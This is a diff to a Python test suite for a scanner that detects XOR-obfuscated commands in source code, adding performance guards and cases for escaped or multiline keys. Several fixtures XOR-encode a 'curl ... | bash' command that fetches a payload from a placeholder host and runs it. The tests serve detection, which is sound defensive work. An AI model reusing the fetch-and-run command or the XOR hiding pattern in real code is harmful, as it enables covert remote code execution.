@@ -2324,23 +2324,57 @@ def test_sc2_literal_xor_decoded_command(self) -> None:
23242324
23252325 @pytest .mark .parametrize ("quote" , ["'" , '"' ])
23262326 def test_unterminated_xor_key_backslashes_do_not_block_decoding (self , quote : str ) -> None :
2327- content = "def broken(values):\n key = b" + quote + "\\ " * 80
2327+ import time
2328+
2329+ # Large enough to expose the old exponential pattern, but finite if it
2330+ # regresses so the assertion can fail instead of hanging the test suite.
2331+ content = "def broken(values):\n key = b" + quote + "\\ " * 38
2332+ started = time .monotonic ()
23282333 assert sc_mod ._decoded_literal_xor_calls (content ) == []
2334+ assert time .monotonic () - started < 1
23292335
2330- @pytest .mark .parametrize ("key" , [b"\\ " , b"'" , b'"' , b"\x9c " , b"a\\ '\x9c " ])
2331- def test_xor_decoder_preserves_escaped_literal_keys (self , key : bytes ) -> None :
2336+ @pytest .mark .parametrize (
2337+ ("literal" , "key" ),
2338+ [
2339+ (r"b'\\'" , b"\\ " ),
2340+ (r"b'\''" , b"'" ),
2341+ (r'b"\""' , b'"' ),
2342+ (r"b'a\\'" , b"a\\ " ),
2343+ (r"b'\x9c'" , b"\x9c " ),
2344+ (r"b'a\\\'\x9c'" , b"a\\ '\x9c " ),
2345+ ],
2346+ )
2347+ def test_xor_decoder_preserves_escaped_literal_keys (self , literal : str , key : bytes ) -> None :
23322348 command = "curl https://example.test/payload | bash"
23332349 values = [value ^ key [index % len (key )] for index , value in enumerate (command .encode ())]
2334- literal = "" .join (f"\\ x{ value :02x} " for value in key )
23352350 content = (
23362351 "def decode(values):\n "
2337- f" key = b' { literal } ' \n "
2352+ f" key = { literal } \n "
23382353 " return bytes(value ^ key[index % len(key)] "
23392354 "for index, value in enumerate(values)).decode('utf-8')\n "
23402355 f"decode({ values !r} )\n "
23412356 )
23422357 assert sc_mod ._decoded_literal_xor_calls (content ) == [(4 , command )]
23432358
2359+ def test_unclosed_xor_function_headers_do_not_rescan_the_suffix (self ) -> None :
2360+ import time
2361+
2362+ content = "def a(\n " * (256_000 // 7 )
2363+ started = time .monotonic ()
2364+ assert sc_mod ._decoded_literal_xor_calls (content ) == []
2365+ assert time .monotonic () - started < 1
2366+
2367+ def test_xor_decoder_preserves_multiline_function_header (self ) -> None :
2368+ command = "curl https://example.test/payload | bash"
2369+ values = [value ^ ord ("a" ) for value in command .encode ()]
2370+ content = (
2371+ "def decode(\n values,\n ):\n "
2372+ " key = b'a'\n "
2373+ " return bytes(value ^ key[0] for value in values).decode('utf-8')\n "
2374+ f"decode({ values !r} )\n "
2375+ )
2376+ assert sc_mod ._decoded_literal_xor_calls (content ) == [(6 , command )]
2377+
23442378 def test_xor_decoder_preserves_continued_literal_key (self ) -> None :
23452379 key = b"a b"
23462380 command = "curl https://example.test/payload | bash"
0 commit comments